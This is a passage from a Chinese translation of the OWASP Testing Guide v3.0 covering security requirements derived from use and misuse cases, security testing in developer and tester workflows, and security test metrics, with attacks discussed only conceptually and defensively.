组 织 的 弱 点 知 识 库 可 以 通 过 获 得 安 全 风 险 被 动 测 试 案 例 来 验 证 最 有 可 能 的 攻 击 方 案 。 例 如 , 如 果 盗 用 身 份 被 确 认 为<br />

高 风 险 , 消 极 测 试 (Negative Test) 方 案 就 能 验 证 密 码 控 制 、 输 入 检 验 和 授 权 控 制 等 领 域 的 漏 洞 而 产 生 的 影 响 的 缓 和 方<br />

案 。<br />

功 能 和 非 功 能 测 试 需 求<br />

功 能 性 安 全 需 求<br />

从 功 能 安 全 要 求 角 度 透 视 , 适 当 的 标 准 、 政 策 和 管 理 条 例 推 动 了 安 全 控 制 的 类 型 的 需 求 和 控 制 功 能 性 的 发 展 。 这 些<br />

要 求 同 时 被 称 为 “ 正 面 的 要 求 ”, 因 为 他 们 阐 述 的 预 期 的 功 能 性 可 以 通 过 安 全 测 试 验 证 。 正 面 要 求 的 例 子 是 :“6<br />

次 登 录 失 败 后 , 应 用 系 统 将 会 锁 住 用 户 ”, 或 者 “ 密 码 必 须 至 少 6 个 字 符 , 字 母 数 字 型 ”。 正 面 要 求 的 验 证 是 由 断<br />

言 的 预 期 功 能 组 成 , 它 能 在 重 建 的 测 试 条 件 中 进 行 测 试 ; 并 根 据 预 定 义 的 输 入 运 行 测 试 断 言 预 期 的 输 出 情 况 是 “ 失<br />

败 / 正 常 ” 条 件 。<br />

为 了 安 全 需 求 能 通 过 安 全 测 试 验 证 , 安 全 需 求 必 须 是 功 能 驱 动 的 , 并 且 突 出 预 期 的 功 能 ( 做 什 幺 ) 以 及 隐 含 的 实 现 ( 如<br />

何 做 )。 用 于 认 证 的 高 级 安 全 设 计 要 求 的 例 子 :<br />

• 保 护 用 户 认 证 信 息 和 共 享 的 传 输 中 和 存 储 中 的 秘 密 ;<br />

• 在 现 实 中 隐 藏 所 有 保 密 信 息 ( 即 , 密 码 , 帐 户 ) ;<br />

• 在 一 定 数 量 的 登 录 失 败 后 , 锁 定 用 户 帐 号 ;<br />

• 用 户 登 录 失 败 后 不 显 示 具 体 失 败 信 息 ;<br />

• 只 允 许 输 入 由 字 母 数 字 并 且 包 含 特 殊 字 符 组 成 的 至 少 六 个 字 符 的 密 码 , 以 限 制 攻 击 层 面 ;<br />

30


OWASP 测 试 指 南 v3.0<br />

• 用 户 要 修 改 密 码 , 必 须 通 过 旧 密 码 、 新 密 码 、 对 密 码 问 题 的 回 答 的 验 证 , 以 防 止 通 过 密 码 修 改 功 能 对 密 码<br />

进 行 穷 举 (Brute Force) 搜 索 攻 击 。<br />

• 采 用 密 码 重 置 功 能 时 , 系 统 将 临 时 密 码 发 送 到 你 指 定 的 邮 箱 之 前 , 需 验 证 用 户 注 册 时 的 用 户 名 和 邮 箱 地<br />

址 。 该 临 时 密 码 只 能 使 用 一 次 。 一 个 密 码 重 置 的 网 页 链 接 将 发 送 给 用 户 。 密 码 重 置 网 页 应 该 验 证 用 户 的 临<br />

时 密 码 , 新 密 码 , 以 及 用 户 对 密 码 问 题 的 回 答<br />

风 险 驱 动 的 安 全 需 求<br />

安 全 测 试 也 是 需 要 风 险 控 制 的 , 也 就 是 他 们 需 要 验 证 非 预 期 的 行 为 。 这 些 也 称 为 “ 负 面 要 求 ”, 因 为 他 们 指 定 应 用<br />

系 统 什 么 不 应 该 做 。“ 不 应 该 做 ” ( 负 面 ) 要 求 的 例 子 :<br />

• 应 用 系 统 不 允 许 修 改 或 毁 坏 数 据 ;<br />

• 应 用 系 统 不 允 许 被 破 坏 或 者 被 恶 意 用 户 用 于 未 认 证 的 金 融 交 易 事 务 。<br />

负 面 要 求 更 难 测 试 , 因 为 找 不 到 预 期 的 行 为 。 这 就 要 求 一 个 安 全 威 胁 分 析 员 能 应 对 不 可 预 知 的 输 入 条 件 、 起 因 和 影<br />

响 。 这 就 是 安 全 测 试 中 的 需 要 控 制 的 风 险 分 析 和 威 胁 模 型 。 关 键 是 将 安 全 方 案 文 档 化 并 将 对 抗 措 施 功 能 作 为 一 个 缓<br />

和 安 全 威 胁 的 因 素 。 例 如 , 在 认 证 控 制 的 情 况 下 , 以 下 安 全 要 求 可 以 从 威 胁 和 对 抗 措 施 透 视 中 文 档 化 :<br />

• 加 密 在 传 输 和 存 储 过 程 中 的 认 证 数 据 , 以 缓 和 信 息 泄 露 和 认 证 协 议 攻 击 的 危 险<br />

• 使 用 不 可 反 向 解 密 方 式 加 密 密 码 , 如 使 用 一 个 摘 要 (digest)( 如 HASH) 和 一 个 种 子 (seed) 防 止 字 典 攻 击<br />

• 在 达 到 一 定 数 量 的 登 录 失 败 后 锁 牢 帐 户 , 并 增 强 密 码 的 复 杂 性 来 缓 和 穷 举 密 码 攻 击 的 风 险 ;<br />

• 在 身 份 验 证 错 误 输 入 显 示 笼 统 的 错 误 信 息 , 以 缓 和 帐 户 的 捕 获 / 列 举 风 险<br />

• 客 户 端 和 服 务 器 相 互 认 证 防 止 非 否 认 和 中 间 人 (Man in the Midle, MiTM) 攻 击<br />

软 件 威 胁 建 模 的 加 工 物 , 如 威 胁 树 (threat trees) 和 攻 击 库 (attack libraries) 对 于 推 导 出 负 面 测 试 案 例 是 很 有 效 的 。 一 个<br />

威 胁 树 假 设 一 个 根 源 攻 击 ( 即 , 攻 击 者 可 能 读 取 到 其 它 用 户 的 信 息 ), 然 后 识 别 所 采 用 的 不 同 的 的 安 全 控 制 类 型 ( 例<br />

如 , 由 于 SQL 注 入 漏 洞 而 使 数 据 验 证 实 效 ) 和 必 要 的 对 抗 措 施 ( 例 如 , 实 现 数 据 验 证 和 参 数 化 查 询 (parameterized<br />

queries)), 这 样 做 就 能 有 效 地 缓 和 这 种 攻 击 。<br />

安 全 需 求 在 使 用 和 误 用 中 的 衍 生<br />

在 描 述 应 用 系 统 功 能 之 前 必 须 了 解 的 是 : 应 用 系 统 是 用 来 做 什 幺 的 , 怎 样 做 的 。 这 些 可 以 从 描 述 的 使 用 案 例 中 了 解<br />

到 。 使 用 案 例 , 在 软 件 工 程 中 常 以 图 解 形 式 使 用 , 展 示 执 行 者 间 的 互 作 用 与 相 互 关 系 , 帮 助 识 别 应 用 系 统 中 的 执 行<br />

者 身 份 、 关 系 、 每 个 方 案 行 为 的 设 想 结 果 、 可 选 择 的 行 为 、 特 殊 要 求 , 前 期 和 后 期 条 件 。 相 似 于 使 用 案 例 , 误 用 和<br />

滥 用 案 件 [19] 描 述 应 用 系 统 中 的 未 计 划 与 恶 意 使 用 方 案 。 这 些 误 用 案 例 提 供 一 个 方 案 描 述 攻 击 者 怎 样 误 用 和 滥 用 应<br />

用 系 统 。 通 过 审 阅 使 用 案 例 中 的 各 个 步 骤 并 思 考 是 如 何 被 恶 意 利 用 的 , 就 能 发 现 未 被 很 定 义 好 的 潜 在 漏 洞 和 应 用 系<br />

统 部 分 。 关 键 是 描 述 所 有 可 能 性 , 或 至 少 描 述 最 重 要 的 使 用 和 误 用 方 案 。 误 用 方 案 中 允 许 从 攻 击 者 的 观 点 分 析 应 用<br />

31


系 统 , 并 且 致 力 于 识 别 潜 在 漏 洞 和 对 抗 措 施 , 这 些 对 抗 措 施 是 用 于 缓 和 由 这 些 潜 在 漏 洞 泄 漏 引 起 的 冲 击 。 在 所 有 使 用<br />

和 滥 用 案 例 中 , 非 常 关 键 的 一 点 是 分 析 并 确 定 他 们 之 中 哪 些 是 最 关 键 的 部 分 并 且 需 要 写 入 安 全 要 求 。 最 重 要 的 使 用<br />

和 滥 用 案 例 识 别 促 使 了 安 全 要 求 的 文 档 化 和 控 制 缓 和 风 险 的 必 要 性 。<br />

从 使 用 和 滥 用 案 例 [20] 中 要 获 得 的 安 全 要 求 时 , 重 要 的 是 定 义 功 能 情 景 和 消 极 情 景 , 并 建 成 图 解 形 式 。 在 安 全 要 求<br />

验 证 的 衍 生 的 案 例 中 , 可 以 根 据 以 下 方 法 逐 步 学 习 。<br />

• 第 1 步 : 描 述 功 能 情 景 : 用 户 通 过 提 供 用 户 名 和 密 码 认 证 。 用 户 通 过 应 用 系 统 的 身 份 认 证 访 问 系 统 , 当 认<br />

证 失 败 时 为 用 户 提 供 具 体 的 错 误 信 息 。<br />

• 第 2 步 : 描 述 消 极 情 景 : 在 应 用 系 统 中 , 攻 击 者 通 过 穷 举 或 字 典 攻 击 密 码 与 账 户 捕 获 漏 洞 破 解 认 证 。 验 证<br />

失 败 时 提 供 的 具 体 信 息 使 攻 击 者 能 猜 测 到 哪 些 帐 户 实 际 上 是 合 法 的 注 册 账 户 ( 用 户 名 )。 然 后 。 穷 举 攻 击 者 能<br />

在 有 限 的 次 数 内 成 功 破 解 至 少 , 攻 击 者 将 试 着 穷 举 破 解 一 个 合 法 的 帐 户 的 密 码 。 穷 举 攻 击 者 能 在 有 限 的 次<br />

数 内 成 功 破 解 至 少 4 位 数 长 度 的 全 数 字 密 码 。<br />

• 第 3 步 : 在 使 用 和 用 案 例 中 描 述 功 能 和 消 极 情 景 : 在 如 下 的 图 解 中 , 显 示 了 通 过 使 用 和 误 用 案 例 的 衍 生 安<br />

全 要 求 。 功 能 情 景 包 括 用 户 行 为 ( 输 入 用 户 名 和 密 码 ) 和 应 用 行 为 ( 认 证 用 户 或 提 供 认 证 失 败 信 息 )。 误 用 案 例<br />

包 括 攻 击 者 行 为 , 即 : 设 法 通 过 字 典 攻 击 穷 举 破 解 密 码 以 攻 破 认 证 , 并 从 提 示 的 错 误 信 息 中 猜 测 合 法 的 用<br />

户 名 。 通 过 图 解 可 以 看 到 用 户 操 作 可 能 造 成 的 威 胁 ( 误 用 ), 就 有 可 能 通 过 对 抗 措 施 缓 和 应 用 行 动 可 能 带 来 的<br />

威 胁 。<br />

32<br />

• 第 4 步 : 安 全 需 求 总 结 : 在 这 种 情 况 下 , 可 以 获 得 用 于 认 证 的 安 全 要 求 :


OWASP 测 试 指 南 v3.0<br />

1) 密 码 必 须 是 由 字 母 ( 大 小 写 ) 和 数 字 组 成 的 七 个 字 符 以 上 的 字 符 串 组 成<br />

2) 五 次 登 录 尝 试 失 败 以 后 , 账 户 锁 定<br />

3) 登 录 失 败 信 息 不 具 体 显 示<br />

这 些 安 全 要 求 需 要 文 档 化 和 经 过 测 试 。<br />

安 全 测 试 集 成 于 开 发 者 与 测 试 者 工 作 流<br />

开 发 者 的 安 全 测 试 工 作 流<br />

在 SDLC 发 展 阶 段 的 安 全 测 试 提 供 给 开 发 者 的 第 一 个 保 证 他 们 所 开 发 的 软 件 组 件 的 安 全 性 的 机 会 就 是 在 其 集 成 被 建<br />

立 之 前 进 行 安 全 测 试 。 一 个 软 件 的 集 成 可 能 包 括 的 软 件 工 件 有 功 能 、 方 法 、 类 以 及 应 用 程 序 接 口 、 档 案 库 和 可 执 行<br />

文 件 。 安 全 测 试 , 开 发 者 能 够 开 发 商 可 能 依 靠 原 始 代 码 分 析 的 结 果 静 态 地 核 实 被 开 发 的 原 始 代 码 不 包 括 潜 在 的 弱 点<br />

并 且 符 合 安 全 编 制 程 序 标 准 。 安 全 单 元 测 试 能 够 进 一 步 进 行 动 态 验 证 ( 如 , 按 照 运 行 时 间 ), 确 认 各 组 件 功 能 照 常 。<br />

在 目 前 的 应 用 上 集 成 新 的 或 已 有 的 代 码 变 更 时 , 应 该 先 回 顾 和 确 认 静 态 和 动 态 分 析 的 结 果 。 应 用 集 成 之 前 的 源 代 码<br />

测 试 通 常 是 高 级 开 发 者 的 责 任 。 这 些 高 级 开 发 者 通 常 也 是 软 件 安 全 事 项 的 专 家 , 同 时 他 具 有 领 导 代 码 安 全 检 查 , 决<br />

定 是 否 接 受 在 当 前 应 用 中 添 加 即 将 发 布 的 代 码 , 或 者 需 要 更 多 的 更 改 或 测 试 。 通 过 工 作 流 管 理 工 具 对 代 码 安 全 审 核<br />

工 作 流 强 制 执 行 检 查 。 例 如 , 假 设 一 个 用 于 发 现 已 被 开 发 者 修 补 的 功 能 缺 陷 及 安 全 缺 陷 的 典 型 的 漏 洞 管 理 工 作 流 能<br />

被 用 于 报 告 管 理 系 统 存 在 的 漏 洞 和 变 更 。 应 用 管 理 者 能 够 看 到 开 发 者 使 用 工 具 进 行 测 试 的 结 果 报 告 , 并 允 许 在 应 用<br />

构 造 中 采 用 适 合 的 代 码 变 更 。<br />

测 试 者 的 安 全 测 试 工 作 流<br />

在 开 发 者 将 已 测 试 的 改 变 后 的 成 分 和 代 码 放 入 应 用 的 建 造 中 , 下 一 步 很 可 能 就 是 在 软 件 开 发 过 程 工 作 流 中 对 应 用 做<br />

实 体 测 试 演 示 。 这 个 测 试 的 水 平 通 常 指 综 合 测 试 和 系 统 层 测 试 。 当 安 全 测 试 成 为 测 试 的 活 动 中 的 一 部 分 时 , 总 体 上<br />

来 讲 , 安 全 测 试 就 可 以 用 作 验 证 应 用 的 安 全 功 能 和 应 用 层 漏 洞 泄 露 。 应 用 层 的 安 全 测 试 包 括 白 盒 测 试 ( 如 源 代 码 分<br />

析 ) 和 黑 盒 测 试 ( 如 渗 透 测 试 )。 灰 盒 测 试 类 似 于 黑 盒 测 试 , 我 们 可 以 假 设 我 们 有 一 些 部 份 关 于 我 们 的 应 用 层 的<br />

会 话 管 理 知 识 , 这 样 就 可 以 帮 助 我 们 确 认 注 销 和 暂 停 功 能 是 否 相 当 安 全 。<br />

安 全 测 试 的 目 标 是 使 系 统 成 为 一 个 拥 有 潜 在 攻 击 并 且 包 括 所 有 源 代 码 和 可 执 行 操 作 的 完 整 系 统 。 这 个 阶 段 中 , 安 全<br />

测 试 唯 一 的 特 异 就 是 安 全 测 试 者 可 以 决 定 是 否 利 用 漏 洞 或 泄 露 并 让 应 用 面 对 实 际 的 风 险 。 这 些 包 括 普 通 的 Web 应<br />

用 程 序 弱 点 、 早 期 在 SDLC 已 识 别 的 安 全 事 件 、 其 它 行 为 如 被 安 全 威 胁 模 型 、 源 代 码 分 析 、 和 安 全 代 码 审 查 。<br />

通 常 , 测 试 工 程 师 , 而 不 是 软 件 开 发 员 在 整 个 系 统 测 试 中 演 示 应 用 的 安 全 测 试 。 这 个 测 试 工 程 师 很 多 的 安 全 知 识 ,<br />

如 Web 应 用 漏 洞 、 黑 盒 和 白 盒 安 全 测 试 技 术 、 和 自 己 的 这 个 阶 段 的 安 全 需 求 验 证 。 做 这 个 安 全 测 试 演 示 的 首 要 目 的<br />

是 将 测 试 案 例 在 安 全 测 试 指 南 和 规 程 中 文 档 化 。<br />

在 集 成 系 统 环 境 里 验 证 应 用 安 全 性 的 测 试 工 程 师 也 许 发 布 操 作 环 境 的 应 用 测 试 ( 即 : 用 户 可 接 受 测 试 )。 在 SDLC<br />

的 这 个 阶 段 ( 即 验 证 阶 段 ),QA 测 试 者 通 常 负 责 应 用 功 能 测 试 , 而 黑 客 / 安 全 咨 询 顾 问 则 通 常 负 责 安 全 测 试 。 在 没 有<br />

第 三 方 评 估 需 求 ( 如 审 计 目 的 ) 时 , 有 些 组 织 机 构 依 靠 他 们 自 己 的 专 业 道 德 入 侵 团 队 做 这 个 测 试 。<br />

33


由 于 这 些 测 试 是 应 用 投 入 生 产 前 最 后 一 次 确 定 漏 洞 , 因 此 由 测 试 团 体 推 荐 这 些 安 全 事 件 事 件 很 重 要 。( 推 荐 内 容 包<br />

括 : 代 码 、 设 计 和 配 置 变 化 )。 在 这 个 水 平 上 , 安 全 审 计 员 和 信 息 安 全 专 家 根 据 信 息 风 险 管 理 规 程 讨 论 报 告 的 安 全<br />

事 件 并 分 析 潜 在 的 风 险 。 这 样 规 程 可 能 要 求 开 发 团 体 在 应 用 部 署 之 前 确 认 所 有 的 高 风 险 弱 点 , 除 非 这 种 风 险 已 经<br />

被 知 晓 并 且 接 受 。<br />

开 发 者 的 安 全 测 试<br />

编 制 阶 段 的 安 全 测 试 : 单 位 测 试<br />

从 开 发 员 角 度 透 视 , 安 全 测 试 主 要 宗 旨 是 验 证 代 码 被 开 发 过 程 是 否 依 从 安 全 编 码 程 序 标 准 要 求 。 开 发 员 自 己 的 编 码<br />

程 序 ( 如 功 能 、 方 法 、 类 别 、APIs 和 代 码 库 ) 需 要 在 并 入 应 用 构 造 前 进 行 功 能 性 验 证 。<br />

开 发 员 必 须 遵 从 安 全 编 码 标 准 中 的 安 全 要 求 , 同 时 通 过 静 态 和 动 态 分 析 验 证 。 作 为 安 全 代 码 审 查 下 的 测 试 行 为 , 单<br />

位 测 试 能 证 明 安 全 代 码 审 查 所 要 求 的 代 码 变 化 在 正 确 地 执 行 。 通 过 源 代 码 分 析 工 具 进 行 的 安 全 代 码 审 查 和 源 代 码 分<br />

析 能 帮 助 开 发 员 在 开 发 时 识 别 源 代 码 中 的 安 全 事 件 。 通 过 使 用 单 位 测 试 和 动 态 分 析 ( 如 : 调 试 功 能 ) 开 发 员 就 能 验<br />

证 成 分 的 安 全 功 能 并 且 核 实 所 开 发 的 对 抗 措 施 能 通 过 安 全 威 胁 模 型 和 源 代 码 分 析 缓 和 已 识 别 的 所 有 安 全 风 险 。<br />

将 安 全 测 试 案 例 建 立 成 为 现 有 的 单 位 测 试 的 框 架 的 一 个 普 通 安 全 测 试 序 列 对 于 开 发 员 是 一 个 很 好 的 实 践 机 会 。 一<br />

个 普 通 安 全 测 试 序 列 能 从 早 先 已 定 义 的 使 用 和 误 用 案 例 中 获 得 安 全 测 试 功 能 、 方 法 和 分 类 。 一 个 普 通 安 全 测 试 程<br />

序 也 许 包 括 验 证 安 全 控 件 正 面 和 负 面 要 求 的 安 全 测 试 案 例 ,, 例 如 :<br />

• 认 证 与 访 问 控 制<br />

• 输 入 验 证 码 与 编 码<br />

加 密<br />

用 户 和 会 话 管 理<br />

错 误 和 异 常 处 理<br />

审 计 (Auditting) 和 日 志 (Logging)<br />

开 发 员 用 源 代 码 分 析 工 具 集 成 IDE、 安 全 编 码 标 准 , 和 安 全 单 位 测 试 框 架 能 存 取 和 检 验 开 发 的 软 件 成 分 的 安 全 性 。<br />

安 全 测 试 案 例 可 以 用 来 识 别 由 源 代 码 引 起 的 潜 在 的 安 全 事 件 : 除 进 出 成 分 的 参 数 输 入 和 输 出 验 证 以 外 , 这 些 事 件<br />

包 括 了 对 成 分 所 做 的 授 权 和 授 权 检 测 , 保 护 成 分 内 的 数 据 , 处 理 安 全 例 外 和 错 误 , 审 计 安 全 和 登 陆 安 全 。 单 位 测 试<br />

框 架 如 Junit, Nunit, CUnit 可 以 适 用 检 验 安 全 测 试 要 求 。 在 安 全 功 能 测 试 情 况 下 , 单 位 层 测 试 能 对 软 件 组 件<br />

层 的 安 全 控 件 做 功 能 测 试 , 如 功 能 、 方 法 和 分 类 。 例 如 , 测 试 案 例 可 以 验 证 输 入 输 出 数 据 ( 如 各 种 数 据 清 理 ), 或<br />

者 通 过 已 知 预 期 的 成 分 功 能 性 来 检 测 边 界 的 安 全 性 。<br />

通 过 使 用 和 误 用 案 例 识 别 的 安 全 威 胁 情 景 , 可 以 为 测 试 软 件 组 件 的 过 程 文 档 化 。 例 如 , 对 于 已 授 权 的 成 分 , 安 全 单<br />

元 测 试 可 以 通 过 设 置 帐 户 封 锁 来 判 断 功 能 性 , 同 时 还 有 一 个 事 实 就 是 用 户 输 入 参 数 不 可 能 绕 过 帐 户 封 锁 滥 用 ( 如 对<br />

一 个 负 面 数 字 设 置 帐 户 封 锁 )。 在 成 分 层 面 上 , 安 全 单 位 测 试 同 时 验 证 正 面 判 断 和 负 面 判 断 , 例 如 错 误 和 异 常 处<br />

理 。 在 非 安 全 事 件 中 , 要 在 不 离 开 系 统 的 条 件 下 捕 捉 异 常 事 件 , 如 : 由 于 资 源 未 分 配 引 起 的 潜 在 的 拒 绝 服 务 ( 最<br />

后 阐 述 块 中 未 关 闭 的 连 接 处 理 ); 潜 在 特 权 提 升 ( 即 : 功 能 退 出 前 已 经 放 弃 或 没 有 被 重 置 的 例 外 事 件 能 获 取 更 高 的<br />

特 权 )。 安 全 错 误 处 理 可 以 通 过 信 息 化 错 误 消 息 和 堆 积 追 踪 验 证 潜 在 的 信 息 泄 露 。<br />

34


OWASP 测 试 指 南 v3.0<br />

单 位 层 面 安 全 测 试 案 例 可 以 是 由 作 为 软 件 安 全 方 面 的 事 项 专 家 的 安 全 工 程 师 开 发 , 并 且 也 负 责 验 证 源 代 码 中 已 确 定<br />

的 安 全 事 件 , 并 检 测 集 成 系 统 的 构 造 。 一 般 , 构 建 应 用 层 的 管 理 者 也 确 信 第 三 方 档 案 库 和 可 执 行 文 件 是 集 成 应 用<br />

构 建 前 潜 在 漏 洞 的 安 全 判 断 依 据 。<br />

普 通 漏 洞 的 由 非 安 全 编 码 引 起 的 安 全 威 胁 情 景 同 样 可 以 写 入 开 发 员 的 安 全 测 试 指 南 中 . 例 如 , 当 在 已 用 源 代 码 分 析<br />

识 别 的 编 码 侦 查 系 统 中 实 施 集 线 器 时 , 安 全 测 试 案 例 能 根 据 已 经 写 入 安 全 编 码 标 准 的 安 全 编 码 要 求 验 证 代 码 变 化 的<br />

执 行 过 程 。<br />

源 代 码 分 析 和 单 位 测 试 可 以 验 证 代 码 变 化 通 过 先 前 识 别 的 代 码 侦 查 系 统 缓 和 漏 洞 泄 露 冲 击 。 自 动 化 的 安 全 代 码 分 析<br />

的 结 果 可 以 用 作 版 本 控 制 的 自 动 化 的 入 门 管 理 , 如 不 会 将 高 等 或 中 等 严 重 的 代 码 事 件 构 建 到 软 件 产 品 中 。<br />

功 能 测 试 者 的 安 全 测 试<br />

集 成 和 验 证 阶 段 的 安 全 测 试 : 集 成 系 统 测 试 和 操 作 测 试<br />

集 成 系 统 测 试 主 要 宗 旨 是 验 证 “ 防 御 深 度 ” 概 念 , 即 , 安 全 控 件 的 实 施 为 各 个 层 面 提 供 安 全 保 护 。 例 如 , 当 应 用<br />

层 面 召 集 成 分 集 成 时 缺 少 输 入 验 证 , 这 通 常 是 集 成 测 试 中 的 一 个 常 见 因 素 。<br />

集 成 系 统 测 试 环 境 也 是 测 试 者 模 拟 实 时 攻 击 情 景 的 第 一 个 环 境 , 这 个 攻 击 是 由 一 个 恶 意 的 、 外 部 或 者 内 部 的 应 用 用<br />

户 潜 在 执 行 的 。 这 个 阶 层 的 安 全 测 试 能 验 证 弱 点 是 否 是 真 正 的 , 是 否 可 以 被 攻 击 者 利 用 。 例 如 , 在 源 代 码 中 发 现<br />

的 一 个 潜 在 的 弱 点 被 估 计 为 高 风 险 等 级 , 理 由 是 已 经 泄 露 给 潜 在 的 恶 意 用 户 , 并 存 在 潜 在 的 冲 击 ( 如 : 存 取 机 密 信<br />

息 )。 实 时 攻 击 情 景 可 以 用 手 工 试 验 技 术 和 渗 透 测 试 工 具 测 试 。 这 个 类 型 的 安 全 测 试 通 常 被 称 为 道 德 攻 击 测 试 。<br />

从 安 全 测 试 的 角 度 透 视 , 这 些 是 测 试 是 用 于 应 对 风 险 的 , 宗 旨 是 测 试 操 作 环 境 里 的 应 用 。 应 用 构 建 的 目 标 代 表 了 部<br />

署 入 生 产 的 应 用 版 本 。<br />

在 集 成 与 验 证 阶 段 执 行 安 全 对 于 识 别 由 成 分 集 成 和 弱 点 泄 露 引 起 的 漏 洞 是 至 关 重 要 的 。 因 为 应 用 程 序 安 全 测 试 要 求<br />

一 套 专 业 技 能 , 包 括 软 件 和 安 全 知 识 , 而 且 安 全 工 程 和 组 织 通 常 也 需 要 对 软 件 开 发 员 进 行 关 于 道 德 攻 击 技 术 、 安 全<br />

评 估 程 序 和 工 具 的 安 全 培 训 。 一 个 现 实 的 方 案 就 是 开 发 内 部 资 源 并 作 为 开 发 员 安 全 测 试 知 识 写 入 安 全 测 试 的 指 南 和<br />

规 程 。 例 如 , 所 谓 的 “ 安 全 测 试 安 全 欺 骗 清 单 或 核 对 清 单 ” 能 提 供 测 试 者 使 用 的 简 单 的 测 试 案 例 和 攻 击 矢 量 来 验 证<br />

普 通 弱 点 泄 露 情 况 , 例 如 欺 骗 、 信 息 透 露 、 缓 冲 溢 出 、 格 式 串 、SQL 注 入 和 XSS 注 入 、XML 、SOAP、 标 准 化<br />

(Canonicalization) 问 题 、 拒 绝 服 务 和 托 管 代 码 和 ActiveX 控 件 等 ( 如 :.NET)。<br />

第 一 列 的 测 试 可 以 使 用 非 常 基 础 软 件 安 全 知 识 进 行 手 工 测 试 。 安 全 测 试 最 基 本 的 宗 旨 也 许 是 验 证 一 套 极 小 的 安 全 要<br />

求 。 这 些 安 全 测 试 案 例 包 括 手 工 强 硬 输 入 错 误 应 用 , 例 外 阐 述 、 从 应 用 程 序 行 为 收 集 知 识 。 例 如 , SQL 注 入 漏 洞<br />

可 以 通 过 在 用 户 输 入 时 注 入 攻 击 矢 量 进 行 手 工 测 试 , 用 于 检 测 SQL 异 常 是 否 被 抛 回 给 用 户 。SQL 异 常 错 误 的 证 据 也<br />

许 能 突 显 出 可 利 用 的 漏 洞 。 一 个 更 加 详 细 的 安 全 测 试 也 许 要 求 测 试 者 更 加 专 业 测 试 技 术 和 工 具 。 除 源 代 码 分 析 渗<br />

透 测 试 以 外 , 这 些 技 术 还 包 括 : 源 代 码 和 二 进 制 漏 洞 注 入 、 漏 洞 传 播 分 析 和 代 码 覆 盖 、 模 糊 测 试 和 反 向 工 程 。 安<br />

全 测 试 的 指 南 需 要 提 供 可 使 用 的 过 程 及 推 荐 工 具 使 得 测 试 人 员 可 以 进 行 这 种 有 深 度 的 安 全 评 估 。<br />

安 全 测 试 的 下 一 个 层 次 是 系 统 集 成 测 试 后 在 用 户 验 收 环 境 中 演 示 安 全 测 试 。 在 操 作 环 境 中 演 示 安 全 测 试 有 独 特 优<br />

势 。 用 户 验 收 测 试 环 境 (UAT) 是 能 代 表 发 行 配 置 的 , 并 带 有 数 据 ( 即 , 测 验 实 时 使 用 的 数 据 )。 在 UAT 中 安 全 测 试 的<br />

一 个 特 征 是 测 试 安 全 配 置 问 题 。 在 有 些 案 例 中 , 这 些 漏 洞 可 能 代 表 了 高 风 险 。 例 如 , 用 于 运 行 Web 应 用 程 序 的 服<br />

35


务 器 也 许 不 配 置 以 下 内 容 : 最 小 的 特 权 、 合 法 的 SSL 证 书 和 安 全 配 置 、 关 闭 基 本 服 务 和 网 页 根 目 录 没 有 从 测 试 和 管<br />

理 网 页 中 移 除 。<br />

安 全 测 试 数 据 分 析 和 报 告<br />

安 全 测 试 指 标 (Metrics) 和 测 量 的 目 标<br />

安 全 测 试 的 指 标 和 衡 量 定 义 的 目 标 的 一 个 前 提 是 对 风 险 分 析 和 管 理 过 程 于 使 用 安 全 测 验 数 据 。 例 如 , 衡 量 的 一 个<br />

例 子 : 安 全 测 试 中 发 现 弱 点 的 总 数 也 许 由 应 用 安 全 状 态 定 量 。 这 些 衡 量 标 准 也 帮 助 软 件 安 全 测 试 识 别 安 全 目 标 ,<br />

例 如 , 在 应 用 部 署 入 生 产 之 前 将 弱 点 数 量 降 低 到 一 个 可 接 受 的 数 字 ( 极 小 值 )。<br />

另 一 个 可 管 理 的 目 标 就 是 对 比 基 线 对 应 的 应 用 程 序 安 全 状 态 去 评 估 应 用 安 全 过 程 进 展 。 例 如 , 安 全 度 规 基 础 线 也 许<br />

包 含 了 仅 做 渗 透 试 验 的 应 用 。 相 比 于 基 础 线 , 在 编 码 期 间 也 做 了 安 全 测 试 的 应 用 程 序 中 的 安 全 数 据 应 该 显 示 进 程<br />

( 即 , 更 少 的 弱 点 数 量 )。<br />

在 传 统 软 件 测 试 中 , 软 件 瑕 疵 的 数 量 ( 例 如 应 用 程 序 中 发 现 的 bugs) 能 提 供 衡 量 软 件 质 量 的 标 准 。 同 样 地 , 安 全<br />

测 试 可 以 提 供 软 件 安 全 的 一 个 衡 量 标 准 。 从 瑕 疵 管 理 和 报 告 角 度 透 视 , 软 件 质 量 和 安 全 测 试 可 能 对 起 因 和 瑕 疵 修<br />

正 力 度 使 用 相 似 的 分 类 法 。 从 起 因 透 视 , 安 全 瑕 疵 是 由 设 计 错 误 引 起 的 ( 即 , 安 全 漏 洞 ), 或 者 是 编 码 时 的 错 误 ( 如<br />

安 全 bug) . 从 瑕 疵 修 正 力 度 透 视 , 安 全 上 和 质 量 上 的 瑕 疵 可 以 根 据 开 发 员 用 于 修 补 的 时 间 来 衡 量 , 或 是 用 于 修 复<br />

的 工 具 和 资 源 , 最 后 是 用 于 实 施 修 复 的 花 费 。<br />

与 质 量 数 据 比 较 , 安 全 测 试 数 据 的 特 异 在 于 以 下 范 畴 的 不 同 : 威 胁 、 弱 点 的 泄 露 和 弱 点 引 起 的 潜 在 的 攻 击 影 响 风 险<br />

等 级 。 安 全 的 测 试 应 用 程 序 包 括 通 过 管 理 技 术 风 险 来 确 保 应 用 对 抗 措 施 达 到 可 验 收 水 平 。 为 此 , 在 SDLC 期 间 安 全<br />

测 验 数 据 必 须 在 重 要 的 检 测 点 上 支 持 安 全 风 险 战 略 。 比 如 , 用 源 代 码 分 析 发 现 源 代 码 中 的 弱 点 代 表 风 险 中 一 项 最 初<br />

的 衡 量 标 准 。 这 些 弱 点 风 险 的 衡 量 ( 即 , 高 , 中 等 , 低 ) 可 以 通 过 泄 露 和 可 能 性 因 素 的 计 算 确 定 , 或 者 , 进 一 步 通<br />

过 渗 透 测 试 验 证 。 与 安 全 测 试 中 发 现 的 弱 点 风 险 相 关 的 度 规 授 权 业 务 管 理 做 出 风 险 管 理 决 定 , 例 如 决 定 风 险 是 否 在<br />

接 受 、 缓 和 或 者 传 送 到 组 织 中 的 另 一 个 层 面 ( 如 业 务 和 技 术 )。<br />

当 评 估 应 用 程 序 的 安 全 状 态 时 , 某 些 因 素 的 考 虑 很 重 要 , 如 开 发 的 应 用 程 序 的 规 模 。 统 计 证 明 : 应 用 程 序 的 规 模 与<br />

